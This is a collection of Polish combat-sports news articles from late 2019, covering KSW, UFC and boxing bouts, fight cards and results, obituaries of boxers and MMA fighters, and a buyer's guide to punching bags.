7 grudnia Mamed Khalidov ponownie zaprezentuje się na KSW. Podczas gali w Gliwicach były mistrz wagi średniej zmierzy się z Scottem Askhamem. Czy będzie to powrót króla?

Sukces nie jest wyłącznie słodki. To także ogromne presja ze strony otoczenia, wymagania, walka ze słabościami. Ciągle musisz być najlepszy i za każdym razem potwierdzać swoją pozycję. Słabszy występ? Krytyka, mieszanie z błotem i natychmiastowa zmiana opinii na temat potencjału danego zawodnika. Nie jest łatwo być na szczycie. Stajesz się ulubieńcem publiczności, ale szybko może się to zmienić i ciepłe słowa zamienią się w brutalne, nasycone złością.

Mamed Khalidov na swoich plecach dźwigał ogromny ciężar. Szedł jak burza w KSW i w efektowny sposób pokonywał kolejnych rywali. Był mistrzem w wadze półciężkiej i średniej. Z czasem jego występy rozczarowywały, co miało swoje odbicie w negatywnych ocenach. Gwizdy po walce z Azizem Karaoglu, choć zwycięskiej, były bardzo wymowne. Po tej wygranej Khalidov pokonał na KSW 39 Borysa Mańkowskiego. Kolejne jego występy wywróciły dotychczasowy porządek. 3 marca 2018 roku podczas KSW 42 wielka postać organizacji została poddana przez Tomasza Narkuna. Rewanż odbył się dziewięć miesięcy później w Gliwicach. "Żyrafa" ponownie lepszy.

Pewien porządek został obalony. Okazało się, że Khalidova można pokonać. Nie jest niezwyciężonym królem. Druga porażka z Narkunem obnażyła 39-latka urodzonego w Groznym. Wydawało się, że to silny facet, który wchodzi do klatki i wygrywa. Po drugiej porażce z Narkunem, Khalidov ogłosił zakończenie kariery. Wyszło na jaw, że ma problemy, z którymi musi się zmierzyć. Jak każdy człowiek… Często wydaje nam się, że mistrzowie sportu są ponad pewne rzeczy. Tak nie jest… Też mają uczucia, też mają kłopoty, bolączki i strachy. Khalidov walczył z nerwicą, która przerodziła się w depresję. Udał się do specjalisty. Stan ten nie narodził się z dnia na dzień. Walka trwała kilka lat, każdego dnia były mistrz KSW musiał mierzyć się z problemami. Gdyby tego było mało w czerwcu Khalidov został zatrzymany i usłyszał aż 11 zarzutów. Został przesłuchany przez prokuraturę, a sąd odrzucił wniosek o areszt. W lipcu Khalidov ogłosił, że wraca do MMA.

KSW 52 będzie wyjątkowym wydarzeniem dla byłego czempiona organizacji. 39-latek zakończył karierę w Gliwicach i w tym samym mieście ją wznowi. 7 grudnia Khalidov zmierzy się w walce wieczoru ze Scottem Askhamem. To ogromne wyzwanie, gdyż Anglik świetnie radzi sobie w KSW. Wygrał przez nokaut trzy walki i zdobył pas w wadze średniej. Spotka się dwóch świetnych zawodników. Ten, który upadł i chce wrócić w wielkim stylu oraz ten, który jest na szczycie. Niezależnie od wyniku walki Khalidov i jego otwartość dała nam cenną lekcję. To obraz walki z problemami, mówienia o nich, stawienia im czoła. Czekamy zatem na KSW 52.

Fot. materiały prasowe

KM

Joshua czeka na pokłony

Temperatura rośnie z dnia na dzień. Oczywiście nie na zewnątrz, mówimy o emocjach czysto sportowych związanych z walką, do której dojdzie 7 grudnia w Diriyah Arenie. Andy Ruiz Jr. będzie bronił mistrzowskich pasów WBA, IBF, WBO i IBO w starciu z Anthony'm Joshuą.

Ruiz Jr. wykorzystał swoją szansę i stał się pierwszoplanową postacią kategorii królewskiej. Pierwotnie 1 czerwca br. niepokonany Anthony Joshua miał rywalizować z Jarrellem Millerem. Wszystko było dogadane, jednak w organizmie Amerykanina wykryto obecność zakazanego środka. W takiej sytuacji konieczne było poszukiwanie zastępstwa i wybór padł na Ruiza Jr. Miało być łatwo, miło i przyjemnie, a tymczasem Brytyjczyk już w trzeciej odsłonie zapoznał się z deskami. 30-letni Meksykanin sprawił niespodziankę i w siódmej rundzie znokautował czempiona. Sensacja – tak najczęściej określano rozstrzygnięcie pojedynku. Co istotne, Ruiz Jr. miał miesiąc na przygotowania i intensywnie trenował, aby wykorzystać nadarzającą się szansę.

Pół roku po porażce Joshua wraca i chce odzyskać utracone tytuły. 7 grudnia walka odbędzie się w… Arabii Saudyjskiej. Warto wspomnieć, że pierwsze starcie miało miejsce w Madison Square Garden w Nowym Jorku. Dla Brytyjczyka był to pierwszy pojedynek poza ojczyzną. Debiut w Stanach Zjednoczonych zakończył się porażką, więc teraz czas na nowy teren.

Lokalizacja rewanżu wydaje się ciekawa i rzecz jasna chodzi o jak najszerszą promocję boksu. Z pewnością emocje sięgną zenitu, bo w grze są cztery mistrzowskie pasy. Joshua ciężko trenował i jest naładowany energią, która ma wyzwolić się w ringu. – Najwyraźniej walczę z najlepszym zawodnikiem w kategorii. Kiedy go pokonam chcę, żeby wszyscy mi się pokłonili – mówi „AJ”.

W zawodowej karierze Joshua odniósł 22 zwycięstwa, w tym 21 przed czasem. "AJ" chce poprawić swój dorobek i udowodnić, że to on jest najlepszy. – Wiem, co muszę zrobić i przygotowałem się najlepiej do walki. Wydajność prowadzi do zwycięstwa – podkreśla Joshua. Wiadomo, że mistrz tanio skóry nie sprzeda. Ruiz Jr. świętował swój sukces, co odbiło się na jego wadze, ale teraz gubi kilogramy i szykuje formę na rewanż. Pytanie – kto komu będzie musiał oddać pokłon?

Fot. Anthony Joshua Facebook

KM

SHARKS ATTACK #3: Mysłowice – 30.11.2019

Przed Wami kolejna, trzecia już edycja gali Sharks Attack.

Sharks Attack 3, jak zwykle w swoim dobrze wypracowanym stylu tym razem zakotwiczy w Mysłowicach w hali MOSiR ul. Bończyka 32z. Karta walk to 12 pojedynków. 10 w formule MMA oraz 2 w formule K1 w obronie pasów mistrzowskich wywalczonych na poprzednich galach Sharks Attack w grudniu 2018  przez Rafała Kosiarskiego oraz Dominike „Zośkę Filec” w maju 2019. Karta wstępna to 4 pojedynki w formule semi-pro, karta główna to 8 pojedynków w formule pro. W octagonie zobaczymy lokalnych zawodników takich jak: Mariusz Radziszewski, Alan Langer, Michał Cichoń czy też Krzysztof Bąkowicz i Daniel Hodor

Start 19.00 – planowane zakończenie 22.30

Ring Announcer – Dawid Kutryn

Skład sędziowski poprowadzi – Piotr Jarosz

Cutman – Tomasz Skarżyński

Walki komentować będą: Zbigniew Zając i Maciej ALF Glabus

W studio telewizyjnym  zasiądzie m.in.: Adrian Bober, Sylwia Juśkiewicz, Ewa Pietrzykowska, Sebastian Kotwica czy też Artur „Kornik” Sowiński                                                                           

KARTA WALK

SHARKS ATTACK3 MYSŁOWICE 30.11.2019

1. Main event – walka o pas zawodowego MP K-1 ISKA – 57 kg

Dominika Filec/Absortio Gym Rybnik/Leszczyny vs Barbara Nalepka/Fighter Wrocław

2. Co main event – MMA – Pro -79 kg

Mariusz Radziszewski/Shark Top Team Bytom vs Anatoly “DOCTOR” Safronov/Master MMA Kharkov Ukraina

3. Walka o pas zawodowego MP K-1 ISKA – 68 kg

Rafał Kosiarski/Klub Kick Boxing Fighter Nowa Sól vs Patryk Magnucki/Strefa Sportów Walki Artfight Rzeszów

4. Extra Fight MMA – Pro -73 kg

Alan Langer/Silesian Cage Club vs Andrey Krasnikov/Fighter Way Ukraina

5. MMA – Pro -73 kg

Oskar Herczyk/Baltic Fighters vs Michał Cichoń/Shark Top Team Bytom

6. MMA – Pro – 68 kg

Michał Domin/Octagon Team Żory vs Daniel Hodor/MMATADORES Katowice

7. MMA – Pro – 84 kg

TBA vs Mateusz Gątek/MMATADORES Katowice

8. MMA – Pro – 66 kg

Kamil Warzybok/Natal Gold Team Katowice vs Szymon Rakowicz/Octagon Team Żory

Karta Wstępna:

9. MMA Semi-pro – Open

Łukasz Stępień/Silesian Cage Club vs Krzysztof Bąkowicz/Shark Top Team Bytom

10. MMA Semi-pro – 57 kg

Paulina Wiśniewska/MMA Team Ostróda vs Barbara Grabowska/SWD Kraków

11. MMA Semi-pro – 80 kg

Alan Szymański/MMA Team Ostróda vs Kamil Szyndlar/Kotwica MMA Team

12. MMA Semi-pro – 57 kg

Katarzyna Samerdak/Shark Top Team Bytom vs Sandra Kulpa/Silesian Cage Club

Błachowicz nadchodzi

Zbliża się gala UFC Fight Night 164 w Sao Paulo. W akcji zobaczymy Jana Błachowicza, który zmierzy się z Ronaldo Souzą. Polak jest gotowy do podjęcia kolejnego wyzwania.

36-letni zawodnik pochodzący z Cieszyna jest niezwykle zdeterminowany. Przez długi czas wydawało się, że Błachowicz jest naturalnym kandydatem do starcia o pas wagi półśredniej z Jonem Jonesem. Polak w mediach społecznościowych podkreślał swoją gotowość do rywalizacji z Amerykaninem, ale władze UFC podjęły inną decyzję. Zestawiły Błachowicza z Ronaldo Souzą, który w Sao Paolo zadebiutuje w wadze półciężkiej. Brazylijczyk ma bogate doświadczenie w amerykańskiej organizacji, debiutował w niej ponad sześć lat temu. Zaczął świetnie, bo wygrał pięć walk z rzędu. Powstrzymał go w grudniu 2015 roku Yoel Romero. Obecnie Souza przeplata zwycięstwa porażkami. W tym roku przegrał z Jackiem Hermanssonem podczas UFC Fight Night 150.

Jan Błachowicz ma za sobą wspaniały pojedynek z Luki'em Rockholdem. Polak odniósł kapitalne zwycięstwo, a jego nokaut obiegł cały świat. W drugiej rundzie "Cieszyński Książę" potężnym lewym sierpowym powalił Rockholda. Były mistrz wagi średniej musiał uznać wyższość Polaka, dla którego było to siódme zwycięstwo w UFC. Teraz Błachowicz mierzy w ósmy triumf i wierzy, że przybliży go on do starcia o pas.

„Cieszyński Książę” ostrzega swojego najbliższego rywala Ronaldo Souzę. Choć Brazylijczyk będzie walczył na własnej ziemi, musi mieć świadomość, że czeka go niezwykle ciężka przeprawa. – Uważaj na siebie. Już idę. Jestem niebezpiecznym człowiekiem – podkreśla Jan Błachowicz w mediach społecnzościowych. Dodatkowo polski zawodnik MMA zamieścił film z nokautem z ostatniego pojedynku z Rockholdem.

16 listopada szykuje się ciekawy pojedynek. Błachowicz musi się mieć na baczności, bo Souza aż 14 pojedynków wygrał przez poddanie. Polak pokazał, że jest klasowym zawodnikiem, ale w Sao Paolo musi to potwierdzić.

Podczas gali UFC Fight Night 164 swoją trzecią walkę w amerykańskiej organizacji stoczy Ariane Lipski. Była zawodniczka KSW powalczy o pierwszy triumf. Jej rywalką będzie Priscila Cachoeira.

Fot. Jan Błachowicz Facebook/materiały prasowe

KM

KSW 51 – wyniki

Wyniki gali KSW 51:

Walka wieczoru | Main event

Mariusz Pudzianowski (13-7, 8 KO) pokonał Erko Juna (3-1, 3 KO) przez TKO, runda II

Karta główna | Main card

Borys Mańkowski (20-8-1, 3 KO, 8 SUB) pokonał Vaso Bakočevicia (39-19-1, 22 KO, 9 SUB) przez poddanie, runda I

Walka o pas kategorii koguciej | KSW Bantamweight Championship Bout

Antun Račić (24-8-1, 13 SUB) pokonał Damiana Stasiaka (11-7, 1 KO, 8 SUB) przez większościową decyzję sędziów (47-47, 48-47, 48-46)

Daniel Torres (9-4-1NC, 4 KO, 1 SUB) pokonał Filipa Pejicia (14-3-2, 9 KO, 3 SUB) przez jednogłośną decyzję sędziów (30-27, 30-27, 29-28)
Ante Delija (17-3, 6 KO, 7 SUB) pokonał Oliego Thompsona (20-12, 12 KO, 4 SUB) przez TKO, runda II
Cezary Kęsik (10-0, 7 KO, 2 SUB) pokonał Aleksandara Ilicia (12-3, 8 KO, 2 SUB) przez duszenie, runda II
Ivan Erslan (8-0, 4 KO, 1 SUB) pokonał Darwina Rodrigueza (9-5, 6 KO, 3 SUB) przez TKO, runda I
Roman Szymański (12-5, 1 KO, 3 SUB) pokonał Miloša Janičicia (11-3, 6 KO, 5 SUB) przez jednogłośną decyzję sędziów (29-27, 29-27, 29-27)
Krystian Kaszubowski (8-1, 2 KO, 1 SUB) pokonał Ivicę Truščeka (38-33, 23 KO, 12 SUB) przez niejednogłośną decyzję sędziów (29-28, 28-29, 29-28)
Sebastian Przybysz (6-2, 3 KO, 1 SUB) pokonał Lemmy'ego Krušicia (20-7, 5 KO, 7 SUB) przez jednogłośną decyzję sędziów (29-28, 30-27, 30-26)

Pamiętamy

1 listopada zmierzamy na cmentarze, aby zapalić znicze i położyć kwiaty na grobach bliskich. W uroczystość Wszystkich Świętych w sposób szczególny pochylamy się nad tajemnicą życia i śmierci. Wspominamy tych, których z nami nie ma. Pamiętamy o nich nie tylko dziś, ale każdego dnia, bo wywarli duży wpływ na rzeczywistość.

W minionym roku pożegnaliśmy wielu zasłużonych zawodników i trenerów zajmujących się sportami walki. Do dziś trudno się otrząsnąć i pogodzić z odejściem Tomasza Skrzypka. Pierwszy zawodowy mistrz Polski w kickboxingu, trener reprezentacji Polski w K-1 i wielu mistrzów odszedł w wieku zaledwie 52 lat. 20 listopada 2018 roku w pożarze domu zginął Andrzej Gmitruk. Jeden z czołowych trenerów bokserskich przez wiele lat był związany z warszawską Legią, prowadził grupę O'chikara Gmitruk Team. Andrzej Gmitruk pracował m.in. z Krzysztofem Kosedowskim, Andrzej Gołotą czy Tomaszem Adamkiem. Odszedł w wieku 67 lat.

12 lutego w wieku 76 lat zmarł olimpijczyk z Meksyku z 1968 roku Lucjan Trela. Polski bokser w 1/8 stoczył zacięty bój z George'em Foremanem. Trela zapisał na swoim koncie wiele medali mistrzostw Polski. W marcu w wieku zaledwie 51 lat odszedł brązowy medalista igrzysk olimpijskich w Seulu z 1988 roku Jan Dydak. Bokser miał w swoim dorobku również trzecie miejsce na mistrzostwach świata i Europy w 1991 roku. Zaledwie 56 lat przeżył zapaśnik Mieczysław Tracz. Wielokrotny złoty medalista mistrzostw Polski, czwarty zawodnik mistrzostw Europy w 1985 roku. W lipcu pożegnaliśmy Pawła Szwedziaka. Wielokrotny medalista mistrzostw Polski w judo oraz trener zmarł przeżywszy 60 lat. W wieku 55 lat w wyniku obrażeń odniesionych w wypadku, został potrącony przez samochód, zmarł Pernell Whitaker. Amerykanin zapisał na swoim koncie złoty medal olimpijski w Los Angeles w 1984 roku. Był także czempionem WBC w wadze lekkiej, IBF, WBC i WBA w junior półśredniej.

Sporty walki to zacięta i efektowna rywalizacja, która jest obarczona ogromnym ryzykiem utraty zdrowia i życia. W ciągu ostatnich miesięcy byliśmy świadkami wielu tragedii. 16 października w wieku zaledwie 27 lat zmarł Patrick Day. Przyczyną śmierci były obrażenia, których pięściarz doznał w przegranej walce z Charlesem Conwellem. W lipcu otrzymaliśmy dwie smutne informacje. W wieku 28 lat zmarł Maksim Dadaszew. Rosjanin ambitnie walczył, ale trener po jedenastu rundach starcia z Subrielem Matiasem poddał zawodnika. Halę Rosjanin opuścił na noszach, przeszedł operację mózgu, ale nie udało się go uratować. Zaledwie 23 lata przeżył Hugo Santillan. Przyczyną śmierci boksera było zatrzymanie krążenia. 20 lipca stoczył swoją ostatnią walkę, zmarł pięć dni później. W wieku 38 lat odszedł Dawid Kostecki, którego znaleziono martwego w areszcie. Utalentowany pięściarz stoczył 41 walk, jednak miał liczne problemy z prawem.

W październiku w wyniku obrażeń odniesionych na gali ACA 100 zmarł Bekzod Nurmatov. Zawodnik MMA miał zaledwie 27 lat. 25 września odeszła Katy Collins. Zawodniczka rywalizująca w MMA zmarła w wieku 32 lat. Godzinę po walce na gali MMA w Brazylii zmarł Mateus Fernandes. Miał zaledwie 22 lata. Wedle nieoficjalnych informacji zawodnik przed pojedynkiem zażył narkotyki.

Jack Hatton przygotowywał się do igrzysk olimpijskich w Tokio. 24 września amerykański judoka nagle zmarł, miał 24 lata. Mistrz świata z Kairu, wicemistrz z Osaki w judo Craig Fallon odszedł w wieku 36 lat.

Pamiętamy i pamiętać będziemy. W naszych sercach pozostają również wybitni przedstawiciele sportów walki: Józef Warchoł, Jerzy Kulej, Zbigniew Pietrzykowski, Józef Grudzień, Muhammad Ali, Henryk Średnicki, Anton Geesink, Joe Frazier.

KM

Jaki worek treningowy wybrać?

Szukasz worka treningowego do wyposażenia swojej domowej siłowni? A może chciałbyś rozpocząć ćwiczenia bokserskie w domu, ale nie wiesz, jaki worek będzie dla Ciebie odpowiedni? Szukając worka należy zwrócić uwagę na szereg czynników tj.: rozmiar, przeznaczenie, cena czy materiał wypełniający. W tym artykule dowiesz się, jaki worek treningowy kupić.

Worek treningowy może być doskonałym urządzeniem do ćwiczeń nie tylko dla osób, które trenują sztuki walki. Ćwiczenia z workiem to świetny sposób na wzmocnienie całego ciała, pozbycia się zbędnych kilogramów, zwiększenia kondycji. Podczas pracy z workiem używamy wielu grup mięśniowych, co korzystnie wpływa na nasz wygląd i samopoczucie. Nie ma lepszego sposobu na wyładowanie agresji i negatywnych uczuć niż kilka rund na worku treningowym.

Rodzaje worków treningowych:

Jeżeli po tym, co przeczytałeś jesteś zainteresowany zakupem worka treningowego do ćwiczeń w domu porozmawiajmy trochę o rodzajach worków, które możemy znaleźć na półkach sklepowych.

Podstawowym workiem treningowym jest worek bokserski – najpopularniejszy, najbardziej charakterystyczny rodzaj worka. Najczęściej podwieszany do sufitu na łańcuchach (ewentualnie taśmach) o kształcie przypominającym walec. Dostępne w różnych rozmiarach i rodzajach wypełnienia – o tym porozmawiamy sobie w osobnym akapicie, zaznaczmy jednak, że w ofercie wielu sklepów znajdziemy worki treningowe dla dzieci, które różnią się od tych standardowych przede wszystkim rozmiarem i wagą.

Kolejny rodzaj worka to worek do MMA – imitujący ludzką sylwetkę, przeznaczony do trenowania ciosów, kopnięć oraz walki w parterze. Zdarza się, że worki do MMA także pozwalają na podwieszenie do sufitu na elastycznych taśmach. Przy zakupie warto zwrócić uwagę, czy istnieje możliwość ich odczepienia.

Do poprawienia refleksu przeznaczona jest tzw. gruszka bokserska. Czasami jest wykorzystywana w warunkach domowych, gdy brakuje miejsca na klasyczny worek bokserski.

Jeżeli brakuje Ci miejsca, lub nie masz możliwości podwieszenia worka możesz zwrócić uwagę na worki bokserskie stojące. Jest to worek umieszczony na solidnej podstawie i bardzo ciężkim odważniku, dzięki czemu nie przewraca się podczas zadawania ciosów.

Rozmiary worków treningowych

Jeżeli wiemy, jaki worek treningowy kupić porozmawiajmy trochę o ich rozmiarach. Dobór rozmiaru powinien rozpocząć się od naszego wzrostu i ustalenia tego, co chcemy na nim trenować:

  • ciosy rękoma – worek 70 – 100 cm 
  • trenowanie kopnięć middle-high – 120-150cm
  • trenowanie kopnięć – low kick – 180-200cm

Warto tutaj wspomnieć także o optymalnych rozmiarach worków dziecięcych, które oscylują w granicach 70-90cm.

Na co jeszcze zwrócić uwagę?

Wybierając worek treningowy warto sprawdzić wcześniej jego wagę. Dla osób początkujących przeznaczone są worki o wadze od 25-30kg, na takim worku można spokojnie ćwiczyć bez ryzyka odniesienia kontuzji. Im nasz staż treningowy jest większy tym cięższy będzie nasz worek.

Na etapie zakupu możemy zdecydować także, czy chcemy worek pusty czy wypełniony odpowiednim materiałem. Puste worki łatwiej przewieźć, a ich zaletą jest możliwość regulacji ciężaru np. przez zmianę materiału wypełniającego. Worek wypełniony sprawia mniej problemów, gdyż otrzymujemy sprzęt gotowy do pracy, nie musimy martwić się jego wypełnieniem.

Jeśli już jesteśmy przy wypełnieniu – warto pamiętać, że w rodzaj wypełnienia wpływa na wagę worka i komfort treningu. Worek wypełniony materiałem lub trocinami jest miękki i lżejszy niż ten wypełniony ziemią czy piaskiem.

Podsumowanie

Zakup worka to koszt ok. 200zł, dlatego warto go odpowiednio przemyśleć, natomiast korzyści płynące z jego użytkowania bardzo szybko zwrócą nam poniesione koszty. Na koniec dodajmy, że jeżelii jesteś zupełnie początkujący możesz zwrócić uwagę na gotowe zestawy treningowe, dzięki czemu nie będziesz musiał zamartwiać się doborem sprzętu.

Briedis pod ścianą, komfort Głowackiego

Mało kto spodziewał się takiego rozstrzygnięcia. Protest obozu Krzysztofa Głowackiego po walce z Mairisem Briedisem został uznany. Federacja WBO nakazała powtórzenie pojedynku.

Skandal  tak najkrócej można przedstawić obraz starcia, do którego doszło 15 czerwca w Rydze. W półfinale World Boxing Super Series Łotysz uderzył Polaka łokciem, a ponadto po gongu, którego nie słyszał sędzia wymierzał mu kolejne ciosy. Obóz Głowackiego protestował, ale nadzieje na pozytywne rozstrzygnięcie były nikłe. Wszyscy szykowali się na finał WBSS, w którym Briedis miał zmierzyć się z Yunierem Dorticosem, a tu taka wiadomość. Federacja WBO nakazała ponowny pojedynek Łotysza z Głowackim w ciągu 120 dni. Nie brakowało zamieszania… Wewnątrz federacji doszło do przepychanek i decyzja stanęła pod znakiem zapytania, ale ostatecznie stosunkiem 2:1 ją podtrzymano. Sprawa jest prosta – Briedis decyduje się na pojedynek z Głowackim albo oddaje pas.

Pięściarz z Wałcza może być zadowolony z takiego obrotu sprawy. Trzeba dodać, że polski bokser znajduje się w komfortowej sytuacji. Krzysztof Głowacki i Ilunga Makabu zostali wyznaczeni do starcia o pasa mistrza świata WBC wagi junior ciężkiej. Decyzja WBO sprawia, że „Główka” ma wszystkie karty w ręku i wielkie szanse na wywalczenie kolejnego trofeum w karierze. – Euforia niesamowita, ale z wiekiem nauczyłem się, że nie ma co się „podpalać”, bo podejmowanie pochopnych decyzji bywa zgubne. Oczywiście pragnę tej walki, jednak poczekam na konkrety – napisał Głowacki w mediach społecznościowych po decyzji WBO.

Warto pochylić się nad Briedisem, który w czerwcu swoim zachowaniem nie wystawił sobie najlepszego świadectwa. W trakcie przygotowań do finału WBSS Łotysz otrzymał cios. Nie da się ukryć, że decyzja WBO nieco krzyżuje mu plany. Wybór jest po stronie łotewskiego obozu. Briedis może skupić się na finale WBSS, który planowano na 14 grudnia w Rydze. Teraz mówi się również o Moskwie bądź Arabii Saudyjskiej i styczniowym terminie. Łotysz jest w trakcie przygotowań do walki z Dorticosem i wydaje się, że na tym się skupi, co sugeruje jego menadżer Raimongs Zeps.

Tłem całej sprawy jest kultura i fair play. Zachowanie Briedisa ukazało dążenie do celu bez żadnego zastanowienia i poszanowania rywala. Wiadomo, że staje przed wielką szansą na zapisanie sie w historii i triumf w WBSS, ale niesmak po czerwcowym pojedynku pozostanie. Również to, co i jak mówił pięściarz. Decyzja jest po jego stronie. Wypada się tylko cieszyć, że w końcu los uśmiechnął się do Głowackiego. Bo jeśli rywalizować to na równych zasadach.

Fot. Krzysztof Głowacki Facebook

KM

Głowacki z szansą na pas

Krzysztof Głowacki będzie rywalizował o pas mistrzowski wagi junior ciężkiej WBC. Polak i Ilunga Makabu zostali wyznaczeni do pojedynku o tytuł.

Dla 33-letniego Głowackiego będzie to kolejna mistrzowska szansa. 14 sierpnia 2015 roku polski pięściarz pokonał w Prudential Center w Newark Marco Hucka i sięgnął po pas WBO. Pojedynek był niezwykle emocjonujący. Polak w szóstej rundzie padł na deski, ale wstał i dzielnie rywalizował o zwycięstwo. W jedenastej odsłonie mógł wznieść ręce w geście triumfu. Głowacki pokonał w pierwszej obronie Steve'a Cunninghama, jednak w drugiej lepszy okazał się Oleksandr Usyk. Ostatnie miesiące dla byłego mistrza WBO to rywalizacja w World Boxing Super Series. W ćwierćfinale Głowacki wygrał z Maksimem Własowem i sięgnął po tymczasowy pas WBO. Z kolei w półfinale, w kontrowersyjnych okolicznościach, doznał porażki w starciu z Mairisem Briedisem. Obóz Polaka składał protest, jednak bez efektu.

Jednak „nie ma tego złego, co by na dobre nie wyszło”. Minęło kilka miesięcy i przed Polakiem pojawiła się ciekawa perspektywa. Federacja WBC podjęła decyzję, że o pas mistrza świata wagi junior ciężkiej będą rywalizować Głowacki i Ilunga Makabu. Tytuł pozostaje bez właściciela po przejściu Oleksandra Usyka do wagi ciężkiej. Wydawało się, że po pas będą rywalizować finaliści WBSS, czyli Briedis i Yunier Dorticos. Władze federacji podjęły inną decyzję, co z pewnością cieszy polskich kibiców. W kwestii uzupełnienia, Makabu zajmuje pierwsze miejsce w rankingu WBC, Polak jest drugi.

Kilka słów o rywalu Głowackiego. 31-letni pięściarz z Demokratycznej Republiki Kongo ma na swoim koncie 26 zwycięstw, w tym 24 przed czasem oraz dwie porażki. W tym roku Makabu robi furorę na rosyjskich ringach. Na rozkładzie ma Dimitrija Kudriaszowa oraz Aleksieja Papina, z którym wygrał po zaciętym pojedynku dwa do remisu. Ostatni raz Makaby przegrał ponad trzy lata temu. Jego pogromcą był Tony Bellew. Co ciekawe, niedawno mówiło się, że bokser z Afryki może być potencjalnym przeciwnikiem Krzysztofa Włodarczyka.

Fot. Krzysztof Głowacki Facebook

KM

Wspomnienie Tomasza Skrzypka

Szok i niedowierzanie. Minęło kilka dni, ale nadal trudno uwierzyć, że nie ma wśród nas Tomasza Skrzypka. Człowieka, który oddał serce kickboxingowi.

Dlaczego? – to pytanie pierwsze ciśnie się na ustach. 13 października w wieku zaledwie 52 lat odszedł Tomasz Skrzypek. Zawsze uśmiechnięty, pogodny, dający mnóstwo energii, a do tego wzór profesjonalizmu i zaangażowania. Niejednokrotnie Tomasz Skrzypek mówił o swoich życiowych problemach, ale tak jak na fightera przystało – potrafił z nimi walczyć. Przezwyciężał słabości, choć nie było łatwo i szedł do przodu. Ciężko pracował i zawsze motywował swoich podopiecznych. Efekty były widoczne. Zawodnicy Tomasza Skrzypka wywalczyli ponad 40 medali mistrzostw świata i Europy.

Poświęcił swoje życie kickboxingowi, w którym osiągał sukcesy. Tomasz Skrzypek był pierwszym zawodowym mistrzem Polski w kickboxingu. Warto dodać, że po tytuł sięgnął w 1990 roku. Wielokrotnie zdobywał złote medale w krajowej rywalizacji. Prezentował się również na międzynarodowych ringach. Na swoim koncie zapisał wicemistrzostwo Związku Radzieckiego i mistrzostwo Bułgarii. Oba w 1990 roku. Tomasz Skrzypek trzykrotnie wystąpił w mistrzostwach świata. W 1992 roku założył klub Fighter Wrocław, którego zawodnicy zdobywają medale na świecie, w Europie i w kraju. Tomasz Skrzypek miał wspaniałe umiejętności trenerskie. Ostatnie lata to pasmo sukcesów jego podopiecznych. Wspaniały był dla niego 2017 rok, kiedy to podczas The World Games we Wrocławiu prowadzona przez Tomków Skrzypka i Mamulskiego kadra w K-1 wywalczyła siedem medali, w tym dwa złote. Kilka miesięcy później w Budapeszcie odbyły się mistrzostwa świata. Kolejny sukces – dziesięć medali i najlepszy wynik w historii. Wielokrotnie przyznawano mu nagrody za pracę trenerską.

Ciężko pogodzić się z odejściem Tomasza Skrzypka. Bo ludzie pełni pasji i energii inspirują. Dzięki nim mamy siłę i wierzymy, że się uda. Podejmujemy wyzwania. Tomasz Skrzypek walczył niejednokrotnie i zawsze prezentował upór, zawziętość i chciał osiągnąć cel. Wiadomo, że po drodze zdarzały się porażki. Tomasz Skrzypek nauczył swoich podopiecznych jak pięknie wygrywać. W 2017 roku we Wrocławiu przeżywał wyjątkowe chwile. Praca wielu osób, w tym Tomasza Skrzypka sprawiła, że o kickboxingu zaczęło się mówić w naszym kraju. Przestał być dyscypliną anonimową.

– Owoce jego ciężkiej pracy będą zbierane przez lata. Na zawsze pozostanie w naszej pamięci jako wspaniały sportowiec, trener i człowiek, który potrafił uporać się ze swoimi kłopotami życiowymi – podkreśla w wypowiedzi dla związkowej strony Andrzej Palacz, wieloletni trener i były prezes Polskiego Związku Kickboxingu. – Zapamiętam go jako człowieka pełnego energii, pasji i z ogromnym zamiłowaniem do naszego sportu – kickboxingu. Zawsze uśmiechnięty, pogodny, choć życie go nie rozpieszczało. Wyciągałem do niego rękę, on przyjmował pomoc i dziękował. Wiedział, że ma obok siebie ludzi, którzy mu pomogą – dodaje. Wielu osobom trudno pogodzić się z odejściem Tomasza Skrzypka. – Myślę o imprezie będącej upamiętnieniem Tomka Skrzypka, człowieka niezwykle oddanego kickboxingowi. Kilka tygodni temu spotkaliśmy się na Gali 30-lecia PZKB we Włocławku, jak zawsze był radosny, otwarty, a dziś już go nie ma. Nie mogę w to uwierzyć. Wracam wspomnieniami do rozmaitych turniejów i wyjazdów krajowych i zagranicznych, kiedy byliśmy zawodnikami i potem trenerami. Lubiliśmy się i szanowaliśmy połączyło nas zamiłowanie do kickboxingu – powiedział Piotr Siegoczyński, prezes PZKb w pożegnaniu zamieszonym na związkowej stronie.

Tomasz Skrzypek był wyjątkowym trenerem, który inspirował i uczył swoich zawodników. Prowadził ich na szczyt. – Trener i zawodnik to wyjątkowo mocna więź. Kiedy zostaje przerwana wali się cały świat… Mój się właśnie zawalił… przede mną jeden z najcięższych okresów w karierze, brak Ciebie u mojego boku to ogromny cios… ale nie po to uczyłeś mnie jak być twardym bym teraz się poddał! (pisownia oryginalna) – napisał w emocjonalnym wpisie Dominik Zadora.

Warto również wspomnieć, że Tomasz Skrzypek związany był z żużlem. Pracował jako trener przygotowania kondycyjnego w Sparcie Wrocław, a ostatnio w Fogo Unii Leszno.

W ostatniej drodze towarzyszyły mu tysiące osób. Na cmentarzu odpalono race. Wszyscy w zadumie oddali hołd Tomaszowi Skrzypkowi, który był wybitną postacią polskiego sportu. Pamięć nie ustanie!

Fot. pzkickboxing.pl

Włodarczyk zmierzy się z reprezentantem Gabonu

30 listopada w Zakopanem swoją 63. zawodową walkę stoczy Krzysztof "Diablo" Włodarczyk. Jego rywalem będzie Taylor Mabika.

Dla polskiego pięściarza będzie to drugi tegoroczny występ. W marcu w Łomży jednogłośnie na punkty pokonał Rumuna Aleksandru Jura. Dla Włodarczyka było to czwarte zwycięstwo z rzędu. Ostatnią porażkę "Diablo" zanotował dwa lata temu, kiedy to w Prudential Center w Newark przegrał z Muratem Gasijewem w ćwierćfinale turnieju World Boxing Super Series.

W kwietniu bokser przeszedł zabieg łąkotki w lewym kolanie, a następnie poddał się rehabilitacji. Warto wspomnieć, że "Diablo" urazu nabawił się podczas przygotowań do walki z Alexandru Jurą. Włodarczyk doszedł już do siebie i może myśleć o kolejnym pojedynku. Przed nim kilka tygodni intensywnych przygotowań, aby osiągnąć cel w postaci 58. wygranej w karierze.

